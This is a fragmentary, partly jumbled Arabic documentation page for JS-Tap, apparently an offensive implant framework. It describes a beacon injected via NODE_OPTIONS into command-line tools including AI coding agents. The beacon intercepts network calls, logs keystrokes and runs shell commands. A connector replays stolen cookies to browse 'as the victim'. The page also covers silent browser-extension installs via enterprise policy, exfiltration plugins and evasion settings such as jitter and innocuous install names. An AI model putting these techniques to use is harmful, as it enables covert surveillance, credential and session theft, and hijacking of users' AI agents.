V8 Beaconوكيل JavaScript لتطبيقات سطر الأوامر Node.js و Bun (Gemini CLI، Claude Code، إلخ). يعترض جميع استدعاءات الشبكة HTTP/Fetch، ويلتقط ضغطات المفاتيح، ويوفر الوصول إلى نظام الملفات والصدفة. بدون تبعيات.يتم حقنه عبر متغير بيئي: NODE_OPTIONS="--require" (Node.js) أو BUN_OPTIONS="--preload" (Bun). لا حاجة لتصحيح التطبيق.
وكيل المتصفح
موصل JS-Tapإضافة Firefox مستقلة تستورد بيانات الجلسة التي تم التقاطها بواسطة BEX Beacon (كـ "تذكرة JS-Tap") وتعيد تشغيلها محليًا — تعيين ملفات تعريف الارتباط، وحقن الرؤوس، وتعبئة التخزين، وانتحال وكيل المستخدم — ليتمكن المشغل من التصفح كضحية. راجع تذاكر JS-Tap وموصل JS-Tap أدناه.
BUN_OPTIONS
http.request
https.request
fetch
http2.connect
process.stdin
  • إضافات للهجمات الخاصة بالتطبيقات: يدعم عملاء Atom Beacon و V8 Beacon إضافات قابلة للتحميل أثناء التشغيل. الإضافات هي وحدات JavaScript تُحمّل من بوابة JS-Tap تعمل على توسيع قدرات الإشارة لتطبيقات مستهدفة محددة (مثل إضافة Mattermost). الإضافات لديها إمكانية الوصول إلى واجهات Node.js API للإشارة (fs, http, crypto, child_process)، وواجهات Electron API (لـ Atom Beacon)، وقناة تسريب البيانات مرة أخرى إلى الخادم. تتضمن كل إضافة ملف بيان (manifest.json) يعلن عن تطبيقاتها المستهدفة وقدراتها وإعدادات المشغل القابلة للتكوين، بالإضافة إلى لوحة واجهة مستخدم اختيارية (ui.html) تُعرض في البوابة.

  • المتصفحطريقة التثبيتالمتطلبات
    Chrome/Chromium (لينكس، مع .crx + معرف ثابت)يكتب سياسة مؤسسية تفرض تثبيت الإضافة من ملف CRX محلي. لا حاجة لتفاعل المستخدم — يتم تثبيت الإضافة بصمت عند التشغيل التالي.sudo
    Chrome/Chromium (macOS، مع .crx + معرف ثابت)ينسخ ملف .crx إلى دليل نظام ويكتب JSON إضافة خارجي. يجب على المستخدم النقر على "Keep" عندما يحذر Chrome بشأن الإضافة.sudo
    Chrome/Chromium (بدون .crx)ينسخ الإضافة المفكوكة إلى دليل ثابت. يطبع تعليمات عن وضع المطور في chrome://extensions.لا شيء
    Chrome (ويندوز، مع .crx + معرف ثابت)ينسخ ملف .crx ويكتب إدخال سجل لتثبيت إضافي خارجي.لا شيء (سجل على مستوى المستخدم)
    Firefox (مع .xpi + معرف الإضافة)يكتشف تلقائيًا الملف الشخصي الافتراضي لـ Firefox وينسخ ملف .xpi إلى دليل extensions/ في الملف الشخصي. يطلب Firefox من المستخدم التمكين عند التشغيل التالي.لا شيء
    Firefox (بدون .xpi)ينسخ الإضافة المفكوكة إلى دليل ثابت. يطبع تعليمات حول about:debugging.لا شيء
    الأمر (Command)الوسائط (Args)الوصف (Description)
    list_dir{ path: "/some/path" }عرض محتويات المجلد. الافتراضي هو مجلد المستخدم الرئيسي إذا كان المسار فارغًا. يرجع أسماء الملفات وأحجامها وأنواعها وتواريخ تعديلها.
    read_file{ path: "/some/file", offset: 0, limit: 1048576 }قراءة محتويات الملف (مشفرة بـ base64). الحد الأقصى 1 ميجابايت لكل قراءة. يدعم الإزاحة/الحد للملفات الكبيرة.
    exec_cmd{ command: "whoami", timeout: 30 }تنفيذ أمر شل. يستخدم /bin/sh -c على لينكس/ماك، cmd.exe /C على ويندوز. الحد الأقصى للمهلة 120 ثانية. يرجع stdout و stderr ورمز الخروج.
    --output PATH
    مسار ملف الإخراج (الافتراضي: ./v8-beacon.js)
    الحقلالوصف
    nameاسم الإضافة المعروض
    versionإصدار الإضافة (يُستخدم أيضًا في JSON للإضافة الخارجية .crx). يتم زيادته تلقائيًا بواسطة buildAll.py في كل بناء.
    descriptionوصف الإضافة كما يظهر في المتصفح
    install_dirnameاسم الدليل الذي تستخدمه نصوص التثبيت لتخزين الملفات على النظام الهدف (مثل /opt/<dirname>/ على Linux، %LOCALAPPDATA%\<dirname> على Windows). يُستخدم أيضًا لاسم ملف السياسة على مستوى المؤسسة. اختر اسمًا غير ضار. الافتراضي: jstap
    الحقلالوصف
    chrome_keyالمفتاح العام بصيغة DER المشفر بـ Base64. يُحقن كـ key في بيان Chrome للحصول على معرف إضافة ثابت.
    chrome_key_pemالمسار إلى ملف المفتاح الخاص .pem (نسبة إلى جذر المشروع). يُستخدم بواسطة سكريبت البناء لحزم ملفات .crx.
    chrome_extension_idمعرف إضافة Chrome المكون من 32 حرفًا. يتم حسابه تلقائيًا من chrome_key إذا تُرك فارغًا. يُستخدم في بيانات الرسائل الأصلية (native messaging) المصاحبة.
    firefox_extension_idمعرف إضافة Firefox (مثل bex-beacon@jstap). يُحقن في بيان Firefox كـ browser_specific_settings.gecko.id.
    base_interval
    الفاصل الزمني الأساسي بالثواني بين نبضات القلب. الافتراضي: 60 للإنتاج، 5 للتطوير/الاختبار.
    jitter_percentالنسبة المئوية للتموج (jitter) المطبقة على الفاصل الزمني الأساسي. قيمة 30 تعني أن كل نبضة قلب ستنطلق في وقت عشوائي بين 70% و130% من الفاصل الأساسي. اجعلها 0 لتعطيل التموج (مفيد لتصحيح الأخطاء).
    false
    true
    whitelistمصفوفة من أنماط مطابقة عناوين URL. أنماط مطابقة قياسية لإضافات المتصفح مع أحرف بدل *. تُستخدم فقط عندما تكون whitelist_enabled مساوية true.